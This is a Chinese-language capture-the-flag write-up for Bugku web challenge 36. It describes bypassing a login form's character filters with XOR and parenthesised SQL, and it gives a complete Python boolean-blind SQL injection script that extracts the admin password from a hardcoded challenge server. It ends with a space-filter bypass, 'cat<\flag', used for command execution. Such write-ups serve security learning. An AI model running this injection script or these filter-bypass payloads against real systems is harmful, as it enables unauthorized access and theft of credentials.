bugku web36题sql注入

题目描述
bugku web36题sql注入_第1张图片
场景
bugku web36题sql注入_第2张图片
根据题目描述,应该是对一些字符进行了过滤经过测试发现过滤了=,空格,逗号,and,for,#等。
先输入用户名admin,密码123
bugku web36题sql注入_第3张图片
显示password error
在输入用户名123,密码123
bugku web36题sql注入_第4张图片
提示username error
证明用户名admin存在,缺少密码。
根据注入的回显,可以采取布尔盲注。因为过滤了空格,用括号代替。过滤了and,用异或号^代替
^ :0^ 0=0,0^1=1 可理解为:0异或任何数,其结果=任何数

1^ 0=1,1^1=0 可理解为: 1异或任何数,其结果=任何数取反
因为过滤了逗号,把substr()用mid()代替
脚本如下

import time
import requests
import sys
import string
import logging

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target='http://114.67.246.176:1137/login.php'#这里要注意的是注入的url要把/index.php改为login.php,因为是在login.php回显

def binaryTest(i,cu,comparer):
    s=requests.post(target,data={
     "uname":"admin'^(ascii(mid((select(passwd)from(admin))from({}))){comparer}{})^'0".format(i,cu,comparer=comparer),"passwd":"123"})
    if "username error!!" in s.text:
        return True
    else:
        return False


def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)


def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

运行结果如下
bugku web36题sql注入_第5张图片
这是一串md5加密后的字符串,解密后内容为bugkuctf
用户名admin 密码bugkuctf登录
bugku web36题sql注入_第6张图片
输入ls后发现没有flag
bugku web36题sql注入_第7张图片
测试cat /flag提示危险命令,单独测试空格,发现空格被过滤
bugku web36题sql注入_第8张图片
linux让过空格的方法有很多,这里输入cat<\flag
bugku web36题sql注入_第9张图片
获得了flag

你可能感兴趣的:(信息安全)